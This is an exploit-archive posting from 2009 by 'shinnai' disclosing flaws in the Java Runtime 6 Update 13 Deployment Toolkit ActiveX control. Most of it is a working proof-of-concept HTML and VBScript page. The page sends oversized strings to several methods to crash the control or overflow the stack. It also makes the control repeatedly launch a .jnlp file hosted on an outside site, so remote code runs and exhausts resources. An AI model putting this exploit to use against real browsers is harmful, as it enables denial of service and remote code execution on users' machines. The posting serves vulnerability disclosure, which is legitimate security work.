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Java SE Runtime Environment Denial Of Service

Java SE Runtime Environment Denial Of Service
Posted May 13, 2009
Authored by shinnai | Site shinnai.altervista.org

Java SE Runtime Environment resource consumption exploit.

tags | exploit, java, denial of service
SHA-256 | 527612944f0e5df5e39b6ff1472ae2184bc2eb6861f81de9ad46c7a2ded3c8e3

Java SE Runtime Environment Denial Of Service

Change Mirror Download
-------------------------------------------------------------------------
Java SE Runtime Environment - JRE 6 Update 13 Multiple Vulnerabilities
url: http://java.sun.com/

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net/

File: deploytk.dll
Ver.: 6.0.130.3
Des.: Deployment Toolkit
Url : http://javadl.sun.com/webapps/
Pac.: jre-6u13-windows-i586-p.exe

Mar.: RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 full patched, Internet Explorer 8

N.B.:
Detailed informations about the "launch (remote .jnlp execution)" will
be released on request.
-------------------------------------------------------------------------
<object classid='clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' id='test' height = 0 width = 0></object>

<select style="width: 404px" name="Pucca">
<option value = "setInstallerType">setInstallerType</option>
<option value = "setAdditionalPackages">setAdditionalPackages</option>
<option value = "installLatestJRE">installLatestJRE</option>
<option value = "compareVersion">compareVersion</option>
<option value = "installJRE">installJRE</option>
<option value = "getStaticCLSID">getStaticCLSID</option>
<option value = "launch">launch (remote .jnlp execution)</option>
<option value = "launch1">launch (stack-based BoF)</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
On Error Resume Next

If Pucca.Value = "setInstallerType" Then
buff = String(1500000, "A")
test.setInstallerType buff
ElseIf Pucca.Value = "setAdditionalPackages" Then
buff = String(1500000, "A")
test.setAdditionalPackages buff
ElseIf Pucca.Value = "installLatestJRE" Then
test.installLatestJRE
ElseIf Pucca.Value = "compareVersion" Then
buff = String(1500000, "A")
test.compareVersion buff, buff
ElseIf Pucca.Value = "installJRE" Then
test.installJRE ""
ElseIf Pucca.Value = "getStaticCLSID" Then
buff = String(1500000, "A")
test.getStaticCLSID buff
ElseIf Pucca.Value = "launch" Then
If(MsgBox(vbCrLf & "This exploit will launch the ForCicle.jnlp hosted on http://www.shinnai.net/" & _
vbCrLf & "The file is trusted and just run a infinite loop which will lead into a resource consuption. " & _
vbCrLf & vbCrLf & "ARE YOU SURE YOU REALLY WANT TO RUN THE EXPLOIT?" & vbCrLf & vbCrLf, 1, "shinnai")=vbOk) Then
buff = "http://www.shinnai.net/jre/ForCicle.jnlp"
test.launch buff
test.launch buff
test.launch buff
test.launch buff
test.launch buff
Else
End if
ElseIf Pucca.Value = "launch1" Then
buff = String(1500000, "A")
test.launch buff
Else
MsgBox Err.Description, vbCritical, "shinnai"
End if
End Sub
</script>

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